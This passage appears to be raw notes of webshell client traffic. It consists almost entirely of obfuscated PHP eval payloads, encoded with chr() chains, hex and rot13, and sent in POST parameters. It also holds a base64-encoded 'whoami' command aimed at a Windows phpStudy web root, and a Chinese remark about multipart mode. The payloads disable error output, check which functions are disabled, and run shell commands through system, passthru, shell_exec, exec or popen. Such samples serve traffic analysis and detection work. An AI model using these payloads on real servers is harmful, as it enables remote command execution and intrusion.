9.ChR%2838%29.ChR%2838%29.ChR%28105%29.ChR%28115%29.ChR%2895%29.ChR%2899%29.ChR%2897%29.ChR%28108%29.ChR%28108%29.ChR%2897%29.ChR%2898%29.ChR%28108%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2841%29.ChR%2838%29.ChR%2838%29.ChR%2833%29.ChR%28105%29.ChR%28110%29.ChR%2895%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2844%29.ChR%2836%29.ChR%28100%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%2859%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%2832%29.ChR%28114%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28109%29.ChR%28100%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2861%29.ChR%2848%29.ChR%2859%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28115%29.ChR%28121%29.ChR%28115%29.ChR%28116%29.ChR%28101%29.ChR%28109%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2864%29.ChR%28115%29.ChR%28121%29.ChR%28115%29.ChR%28116%29.ChR%28101%29.ChR%28109%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28112%29.ChR%2897%29.ChR%28115%29.ChR%28115%29.ChR%28116%29.ChR%28104%29.ChR%28114%29.ChR%28117%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2864%29.ChR%28112%29.ChR%2897%29.ChR%28115%29.ChR%28115%29.ChR%28116%29.ChR%28104%29.ChR%28114%29.ChR%28117%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28115%29.ChR%28104%29.ChR%28101%29.ChR%28108%29.ChR%28108%29.ChR%2895%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2840%29.ChR%2864%29.ChR%28115%29.ChR%28104%29.ChR%28101%29.ChR%28108%29.ChR%28108%29.ChR%2895%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2864%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2836%29.ChR%28111%29.ChR%2844%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2841%29.ChR%2859%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2840%29.ChR%28106%29.ChR%28111%29.ChR%28105%29.ChR%28110%29.ChR%2840%29.ChR%2834%29.ChR%2810%29.ChR%2834%29.ChR%2844%29.ChR%2836%29.ChR%28111%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2832%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28112%29.ChR%28111%29.ChR%28112%29.ChR%28101%29.ChR%28110%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2861%29.ChR%2864%29.ChR%28112%29.ChR%28111%29.ChR%28112%29.ChR%28101%29.ChR%28110%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2839%29.ChR%28114%29.ChR%2839%29.ChR%2841%29.ChR%2859%29.ChR%28119%29.ChR%28104%29.ChR%28105%29.ChR%28108%29.ChR%28101%29.ChR%2840%29.ChR%2833%29.ChR%2864%29.ChR%28102%29.ChR%28101%29.ChR%28111%29.ChR%28102%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2840%29.ChR%2864%29.ChR%28102%29.ChR%28103%29.ChR%28101%29.ChR%28116%29.ChR%28115%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2844%29.ChR%2832%29.ChR%2850%29.ChR%2848%29.ChR%2852%29.ChR%2856%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%2864%29.ChR%28112%29.ChR%2899%29.ChR%28108%29.ChR%28111%29.ChR%28115%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28123%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2832%29.ChR%2861%29.ChR%2832%29.ChR%2849%29.ChR%2850%29.ChR%2855%29.ChR%2859%29.ChR%28125%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%28117%29.ChR%28114%29.ChR%28110%29.ChR%2832%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2859%29.ChR%28125%29.ChR%2859%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2861%29.ChR%2864%29.ChR%28114%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28109%29.ChR%28100%29.ChR%2840%29.ChR%2836%29.ChR%28114%29.ChR%2846%29.ChR%2834%29.ChR%2832%29.ChR%2850%29.ChR%2862%29.ChR%2838%29.ChR%2849%29.ChR%2834%29.ChR%2841%29.ChR%2859%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2832%29.ChR%2840%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2833%29.ChR%2861%29.ChR%2848%29.ChR%2841%29.ChR%2863%29.ChR%2834%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2861%29.ChR%28123%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%28125%29.ChR%2834%29.ChR%2858%29.ChR%2834%29.ChR%2834%29.ChR%2859%29.ChR%2859%29.ChR%28101%29.ChR%2899%29.ChR%28104%29.ChR%28111%29.ChR%2832%29.ChR%2834%29.ChR%2857%29.ChR%2849%29.ChR%2853%29.ChR%2855%29.ChR%2851%29.ChR%2834%29.ChR%2859%29.ChR%28100%29.ChR%28105%29.ChR%28101%29.ChR%2840%29.ChR%2841%29.ChR%2859%29%29%3B&0x99ebf75fd4695=Y21k&0xa005228790409=Y2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXVyImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd

Chr16

1=%40eVAl%28cHr%280x40%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x69%29.ChR%280x5f%29.ChR%280x73%29.ChR%280x65%29.ChR%280x74%29.ChR%280x28%29.ChR%280x22%29.ChR%280x64%29.ChR%280x69%29.ChR%280x73%29.ChR%280x70%29.ChR%280x6c%29.ChR%280x61%29.ChR%280x79%29.ChR%280x5f%29.ChR%280x65%29.ChR%280x72%29.ChR%280x72%29.ChR%280x6f%29.ChR%280x72%29.ChR%280x73%29.ChR%280x22%29.ChR%280x2c%29.ChR%280x20%29.ChR%280x22%29.ChR%280x30%29.ChR%280x22%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x40%29.ChR%280x73%29.ChR%280x65%29.ChR%280x74%29.ChR%280x5f%29.ChR%280x74%29.ChR%280x69%29.ChR%280x6d%29.ChR%280x65%29.ChR%280x5f%29.ChR%280x6c%29.ChR%280x69%29.ChR%280x6d%29.ChR%280x69%29.ChR%280x74%29.ChR%280x28%29.ChR%280x30%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x65%29.ChR%280x63%29.ChR%280x68%29.ChR%280x6f%29.ChR%280x20%29.ChR%280x22%29.ChR%280x62%29.ChR%280x38%29.ChR%280x37%29.ChR%280x66%29.ChR%280x32%29.ChR%280x22%29.ChR%280x3b%29.ChR%280x24%29.ChR%280x70%29.ChR%280x3d%29.ChR%280x62%29.ChR%280x61%29.ChR%280x73%29.ChR%280x65%29.ChR%280x36%29.ChR%280x34%29.ChR%280x5f%29.ChR%280x64%29.ChR%280x65%29.ChR%280x63%29.ChR%280x6f%29.ChR%280x64%29.ChR%280x65%29.ChR%280x28%29.ChR%280x24%29.ChR%280x5f%29.ChR%280x50%29.ChR%280x4f%29.ChR%280x53%29.ChR%280x54%29.ChR%280x5b%29.ChR%280x22%29.ChR%280x30%29.ChR%280x78%29.ChR%280x31%29.ChR%280x35%29.ChR%280x65%29.ChR%280x66%29.ChR%280x66%29.ChR%280x32%29.ChR%280x39%29.ChR%280x63%29.ChR%280x30%29.ChR%280x36%29.ChR%280x30%29.ChR%280x30%29.ChR%280x33%29.ChR%280x22%29.ChR%280x5d%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x24%29.ChR%280x73%29.ChR%280x3d%29.ChR%280x62%29.ChR%280x61%29.ChR%280x73%29.ChR%280x65%29.ChR%280x36%29.ChR%280x34%29.ChR%280x5f%29.ChR%280x64%29.ChR%280x65%29.ChR%280x63%29.ChR%280x6f%29.ChR%280x64%29.ChR%280x65%29.ChR%280x28%29.ChR%280x24%29.ChR%280x5f%29.ChR%280x50%29.ChR%280x4f%29.ChR%280x53%29.ChR%280x54%29.ChR%280x5b%29.ChR%280x22%29.ChR%280x30%29.ChR%280x78%29.ChR%280x63%29.ChR%280x63%29.ChR%280x39%29.ChR%280x35%29.ChR%280x38%29.ChR%280x35%29.ChR%280x39%29.ChR%280x36%29.ChR%280x30%29.ChR%280x65%29.ChR%280x36%29.ChR%280x63%29.ChR%280x34%29.ChR%280x22%29.ChR%280x5d%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x24%29.ChR%280x64%29.ChR%280x3d%29.ChR%280x64%29.ChR%280x69%29.ChR%280x72%29.ChR%280x6e%29.ChR%280x61%29.ChR%280x6d%29.ChR%280x65%29.ChR%280x28%29.ChR%280x24%29.ChR%280x5f%29.ChR%280x53%29.ChR%280x45%29.ChR%280x52%29.ChR%280x56%29.ChR%280x45%29.ChR%280x52%29.ChR%280x5b%29.ChR%280x22%29.ChR%280x53%29.ChR%280x43%29.ChR%280x52%29.ChR%280x49%29.ChR%280x50%29.ChR%280x54%29.ChR%280x5f%29.ChR%280x46%29.ChR%280x49%29.ChR%280x4c%29.ChR%280x45%29.ChR%280x4e%29.ChR%280x41%29.ChR%280x4d%29.ChR%280x45%29.ChR%280x22%29.ChR%280x5d%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x24%29.ChR%280x63%29.ChR%280x3d%29.ChR%280x73%29.ChR%280x75%29.ChR%280x62%29.ChR%280x73%29.ChR%280x74%29.ChR%280x72%29.ChR%280x28%29.ChR%280x24%29.ChR%280x64%29.ChR%280x2c%29.ChR%280x30%29.ChR%280x2c%29.ChR%280x31%29.ChR%280x29%29.ChR%280x3d%29.ChR%280x3d%29.ChR%280x22%29.ChR%280x2f%29.ChR%280x22%29.ChR%280x3f%29.ChR%280x22%29.ChR%280x2d%29.ChR%280x63%29.ChR%280x20%29.ChR%280x5c%29.ChR%280x22%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x73%29.ChR%280x7d%29.ChR%280x5c%29.ChR%280x22%29.ChR%280x22%29.ChR%280x3a%29.ChR%280x22%29.ChR%280x2f%29.ChR%280x63%29.ChR%280x20%29.ChR%280x5c%29.ChR%280x22%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x73%29.ChR%280x7d%29.ChR%280x5c%29.ChR%280x22%29.ChR%280x22%29.ChR%280x3b%29.ChR%280x24%29.ChR%280x72%29.ChR%280x3d%29.ChR%280x22%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x70%29.ChR%280x7d%29.ChR%280x20%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x63%29.ChR%280x7d%29.ChR%280x22%29.ChR%280x3b%29.ChR%280x66%29.ChR%280x75%29.ChR%280x6e%29.ChR%280x63%29.ChR%280x74%29.ChR%280x69%29.ChR%280x6f%29.ChR%280x6e%29.ChR%280x20%29.ChR%280x66%29.ChR%280x65%29.ChR%280x28%29.ChR%280x24%29.ChR%280x66%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x64%29.ChR%280x3d%29.ChR%280x65%29.ChR%280x78%29.ChR%280x70%29.ChR%280x6c%29.ChR%280x6f%29.ChR%280x64%29.ChR%280x65%29.ChR%280x28%29.ChR%280x22%29.ChR%280x2c%29.ChR%280x22%29.ChR%280x2c%29.ChR%280x40%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x69%29.ChR%280x5f%29.ChR%280x67%29.ChR%280x65%29.ChR%280x74%29.ChR%280x28%29.ChR%280x22%29.ChR%280x64%29.ChR%280x69%29.ChR%280x73%29.ChR%280x61%29.ChR%280x62%29.ChR%280x6c%29.ChR%280x65%29.ChR%280x5f%29.ChR%280x66%29.ChR%280x75%29.ChR%280x6e%29.ChR%280x63%29.ChR%280x74%29.ChR%280x69%29.ChR%280x6f%29.ChR%280x6e%29.ChR%280x73%29.ChR%280x22%29.ChR%280x29%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x69%29.ChR%280x66%29.ChR%280x28%29.ChR%280x65%29.ChR%280x6d%29.ChR%280x70%29.ChR%280x74%29.ChR%280x79%29.ChR%280x28%29.ChR%280x24%29.ChR%280x64%29.ChR%280x29%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x64%29.ChR%280x3d%29.ChR%280x61%29.ChR%280x72%29.ChR%280x72%29.ChR%280x61%29.ChR%280x79%29.ChR%280x28%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x73%29.ChR%280x65%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x64%29.ChR%280x3d%29.ChR%280x61%29.ChR%280x72%29.ChR%280x72%29.ChR%280x61%29.ChR%280x79%29.ChR%280x5f%29.ChR%280x6d%29.ChR%280x61%29.ChR%280x70%29.ChR%280x28%29.ChR%280x27%29.ChR%280x74%29.ChR%280x72%29.ChR%280x69%29.ChR%280x6d%29.ChR%280x27%29.ChR%280x2c%29.ChR%280x61%29.ChR%280x72%29.ChR%280x72%29.ChR%280x61%29.ChR%280x79%29.ChR%280x5f%29.ChR%280x6d%29.ChR%280x61%29.ChR%280x70%29.ChR%280x28%29.ChR%280x27%29.ChR%280x73%29.ChR%280x74%29.ChR%280x72%29.ChR%280x74%29.ChR%280x6f%29.ChR%280x6c%29.ChR%280x6f%29.ChR%280x77%29.ChR%280x65%29.ChR%280x72%29.ChR%280x27%29.ChR%280x2c%29.ChR%280x24%29.ChR%280x64%29.ChR%280x29%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x75%29.ChR%280x72%29.ChR%280x6e%29.ChR%280x28%29.ChR%280x66%29.ChR%280x75%29.ChR%280x6e%29.ChR%280x63%29.ChR%280x74%29.ChR%280x69%29.ChR%280x6f%29.ChR%280x6e%29.ChR%280x5f%29.ChR%280x65%29.ChR%280x78%29.ChR%280x69%29.ChR%280x73%29.ChR%280x74%29.ChR%280x73%29.ChR%280x28%29.ChR%280x24%29.ChR%280x66%29.ChR%280x29%29.ChR%280x26%29.ChR%280x26%29.ChR%280x69%29.ChR%280x73%29.ChR%280x5f%29.ChR%280x63%29.ChR%280x61%29.ChR%280x6c%29.ChR%280x6c%29.ChR%280x61%29.ChR%280x62%29.ChR%280x6c%29.ChR%280x65%29.ChR%280x28%29.ChR%280x24%29.ChR%280x66%29.ChR%280x29%29.ChR%280x26%29.ChR%280x26%29.ChR%280x21%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x5f%29.ChR%280x61%29.ChR%280x72%29.ChR%280x72%29.ChR%280x61%29.ChR%280x79%29.ChR%280x28%29.ChR%280x24%29.ChR%280x66%29.ChR%280x2c%29.ChR%280x24%29.ChR%280x64%29.ChR%280x29%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x3b%29.ChR%280x66%29.ChR%280x75%29.ChR%280x6e%29.ChR%280x63%29.ChR%280x74%29.ChR%280x69%29.ChR%280x6f%29.ChR%280x6e%29.ChR%280x20%29.ChR%280x72%29.ChR%280x75%29.ChR%280x6e%29.ChR%280x63%29.ChR%280x6d%29.ChR%280x64%29.ChR%280x28%29.ChR%280x24%29.ChR%280x63%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x3d%29.ChR%280x30%29.ChR%280x3b%29.ChR%280x69%29.ChR%280x66%29.ChR%280x28%29.ChR%280x66%29.ChR%280x65%29.ChR%280x28%29.ChR%280x27%29.ChR%280x73%29.ChR%280x79%29.ChR%280x73%29.ChR%280x74%29.ChR%280x65%29.ChR%280x6d%29.ChR%280x27%29.ChR%280x29%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x40%29.ChR%280x73%29.ChR%280x79%29.ChR%280x73%29.ChR%280x74%29.ChR%280x65%29.ChR%280x6d%29.ChR%280x28%29.ChR%280x24%29.ChR%280x63%29.ChR%280x2c%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x73%29.ChR%280x65%29.ChR%280x69%29.ChR%280x66%29.ChR%280x28%29.ChR%280x66%29.ChR%280x65%29.ChR%280x28%29.ChR%280x27%29.ChR%280x70%29.ChR%280x61%29.ChR%280x73%29.ChR%280x73%29.ChR%280x74%29.ChR%280x68%29.ChR%280x72%29.ChR%280x75%29.ChR%280x27%29.ChR%280x29%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x40%29.ChR%280x70%29.ChR%280x61%29.ChR%280x73%29.ChR%280x73%29.ChR%280x74%29.ChR%280x68%29.ChR%280x72%29.ChR%280x75%29.ChR%280x28%29.ChR%280x24%29.ChR%280x63%29.ChR%280x2c%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x73%29.ChR%280x65%29.ChR%280x69%29.ChR%280x66%29.ChR%280x28%29.ChR%280x66%29.ChR%280x65%29.ChR%280x28%29.ChR%280x27%29.ChR%280x73%29.ChR%280x68%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x6c%29.ChR%280x5f%29.ChR%280x65%29.ChR%280x78%29.ChR%280x65%29.ChR%280x63%29.ChR%280x27%29.ChR%280x29%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x70%29.ChR%280x72%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x74%29.ChR%280x28%29.ChR%280x40%29.ChR%280x73%29.ChR%280x68%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x6c%29.ChR%280x5f%29.ChR%280x65%29.ChR%280x78%29.ChR%280x65%29.ChR%280x63%29.ChR%280x28%29.ChR%280x24%29.ChR%280x63%29.ChR%280x29%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x73%29.ChR%280x65%29.ChR%280x69%29.ChR%280x66%29.ChR%280x28%29.ChR%280x66%29.ChR%280x65%29.ChR%280x28%29.ChR%280x27%29.ChR%280x65%29.ChR%280x78%29.ChR%280x65%29.ChR%280x63%29.ChR%280x27%29.ChR%280x29%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x40%29.ChR%280x65%29.ChR%280x78%29.ChR%280x65%29.ChR%280x63%29.ChR%280x28%29.ChR%280x24%29.ChR%280x63%29.ChR%280x2c%29.ChR%280x24%29.ChR%280x6f%29.ChR%280x2c%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x70%29.ChR%280x72%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x74%29.ChR%280x28%29.ChR%280x6a%29.ChR%280x6f%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x28%29.ChR%280x22%29.ChR%280xa%29.ChR%280x22%29.ChR%280x2c%29.ChR%280x24%29.ChR%280x6f%29.ChR%280x29%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x73%29.ChR%280x65%29.ChR%280x69%29.ChR%280x66%29.ChR%280x20%29.ChR%280x28%29.ChR%280x66%29.ChR%280x65%29.ChR%280x28%29.ChR%280x27%29.ChR%280x70%29.ChR%280x6f%29.ChR%280x70%29.ChR%280x65%29.ChR%280x6e%29.ChR%280x27%29.ChR%280x29%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x66%29.ChR%280x70%29.ChR%280x3d%29.ChR%280x40%29.ChR%280x70%29.ChR%280x6f%29.ChR%280x70%29.ChR%280x65%29.ChR%280x6e%29.ChR%280x28%29.ChR%280x24%29.ChR%280x63%29.ChR%280x2c%29.ChR%280x27%29.ChR%280x72%29.ChR%280x27%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x77%29.ChR%280x68%29.ChR%280x69%29.ChR%280x6c%29.ChR%280x65%29.ChR%280x28%29.ChR%280x21%29.ChR%280x40%29.ChR%280x66%29.ChR%280x65%29.ChR%280x6f%29.ChR%280x66%29.ChR%280x28%29.ChR%280x24%29.ChR%280x66%29.ChR%280x70%29.ChR%280x29%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x70%29.ChR%280x72%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x74%29.ChR%280x28%29.ChR%280x40%29.ChR%280x66%29.ChR%280x67%29.ChR%280x65%29.ChR%280x74%29.ChR%280x73%29.ChR%280x28%29.ChR%280x24%29.ChR%280x66%29.ChR%280x70%29.ChR%280x2c%29.ChR%280x20%29.ChR%280x32%29.ChR%280x30%29.ChR%280x34%29.ChR%280x38%29.ChR%280x29%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x40%29.ChR%280x70%29.ChR%280x63%29.ChR%280x6c%29.ChR%280x6f%29.ChR%280x73%29.ChR%280x65%29.ChR%280x28%29.ChR%280x24%29.ChR%280x66%29.ChR%280x70%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x73%29.ChR%280x65%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x20%29.ChR%280x3d%29.ChR%280x20%29.ChR%280x31%29.ChR%280x32%29.ChR%280x37%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x75%29.ChR%280x72%29.ChR%280x6e%29.ChR%280x20%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x3b%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x3d%29.ChR%280x40%29.ChR%280x72%29.ChR%280x75%29.ChR%280x6e%29.ChR%280x63%29.ChR%280x6d%29.ChR%280x64%29.ChR%280x28%29.ChR%280x24%29.ChR%280x72%29.ChR%280x2e%29.ChR%280x22%29.ChR%280x20%29.ChR%280x32%29.ChR%280x3e%29.ChR%280x26%29.ChR%280x31%29.ChR%280x22%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x70%29.ChR%280x72%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x74%29.ChR%280x20%29.ChR%280x28%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x21%29.ChR%280x3d%29.ChR%280x30%29.ChR%280x29%29.ChR%280x3f%29.ChR%280x22%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x3d%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x7d%29.ChR%280x22%29.ChR%280x3a%29.ChR%280x22%29.ChR%280x22%29.ChR%280x3b%29.ChR%280x3b%29.ChR%280x65%29.ChR%280x63%29.ChR%280x68%29.ChR%280x6f%29.ChR%280x20%29.ChR%280x22%29.ChR%280x38%29.ChR%280x35%29.ChR%280x30%29.ChR%280x63%29.ChR%280x61%29.ChR%280x22%29.ChR%280x3b%29.ChR%280x64%29.ChR%280x69%29.ChR%280x65%29.ChR%280x28%29.ChR%280x29%29.ChR%280x3b%29%29%3B&0x15eff29c06003=Y21k&0xcc9585960e6c4=Y2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXVyImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd

Ro13 

1=%40eval%28%40str_rot13%28%24_POST%5B_0xfa5ff30363729%5D%29%29%3B&0x628d9659da233=Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd&0xfdf89ac6d8edc=Y21k&_0xfa5ff30363729=%40vav_frg%28%22qvfcynl_reebef%22%2C%20%220%22%29%3B%40frg_gvzr_yvzvg%280%29%3Brpub%20%222r4q4%22%3B%24c%3Donfr64_qrpbqr%28%24_CBFG%5B%220ksqs89np6q8rqp%22%5D%29%3B%24f%3Donfr64_qrpbqr%28%24_CBFG%5B%220k628q9659qn233%22%5D%29%3B%24q%3Dqveanzr%28%24_FREIRE%5B%22FPEVCG_SVYRANZR%22%5D%29%3B%24p%3Dfhofge%28%24q%2C0%2C1%29%3D%3D%22%2F%22%3F%22-p%20%5C%22%7B%24f%7D%5C%22%22%3A%22%2Fp%20%5C%22%7B%24f%7D%5C%22%22%3B%24e%3D%22%7B%24c%7D%20%7B%24p%7D%22%3Bshapgvba%20sr%28%24s%29%7B%24q%3Drkcybqr%28%22%2C%22%2C%40vav_trg%28%22qvfnoyr_shapgvbaf%22%29%29%3Bvs%28rzcgl%28%24q%29%29%7B%24q%3Dneenl%28%29%3B%7Dryfr%7B%24q%3Dneenl_znc%28%27gevz%27%2Cneenl_znc%28%27fgegbybjre%27%2C%24q%29%29%3B%7Derghea%28shapgvba_rkvfgf%28%24s%29%26%26vf_pnyynoyr%28%24s%29%26%26%21va_neenl%28%24s%2C%24q%29%29%3B%7D%3Bshapgvba%20ehapzq%28%24p%29%7B%24erg%3D0%3Bvs%28sr%28%27flfgrz%27%29%29%7B%40flfgrz%28%24p%2C%24erg%29%3B%7Dryfrvs%28sr%28%27cnffgueh%27%29%29%7B%40cnffgueh%28%24p%2C%24erg%29%3B%7Dryfrvs%28sr%28%27furyy_rkrp%27%29%29%7Bcevag%28%40furyy_rkrp%28%24p%29%29%3B%7Dryfrvs%28sr%28%27rkrp%27%29%29%7B%40rkrp%28%24p%2C%24b%2C%24erg%29%3Bcevag%28wbva%28%22%0A%22%2C%24b%29%29%3B%7Dryfrvs%20%28sr%28%27cbcra%27%29%29%7B%24sc%3D%40cbcra%28%24p%2C%27e%27%29%3Bjuvyr%28%21%40srbs%28%24sc%29%29%7Bcevag%28%40strgf%28%24sc%2C%202048%29%29%3B%7D%40cpybfr%28%24sc%29%3B%7Dryfr%7B%24erg%20%3D%20127%3B%7Derghea%20%24erg%3B%7D%3B%24erg%3D%40ehapzq%28%24e.%22%202%3E%261%22%29%3Bcevag%20%28%24erg%21%3D0%29%3F%22erg%3D%7B%24erg%7D%22%3A%22%22%3B%3Brpub%20%2291r76%22%3Bqvr%28%29%3B

还有是加上multipart 模式的情况下

默认模式

----------------------------705717352973578568091136
Content-Disposition: form-data; name="1"

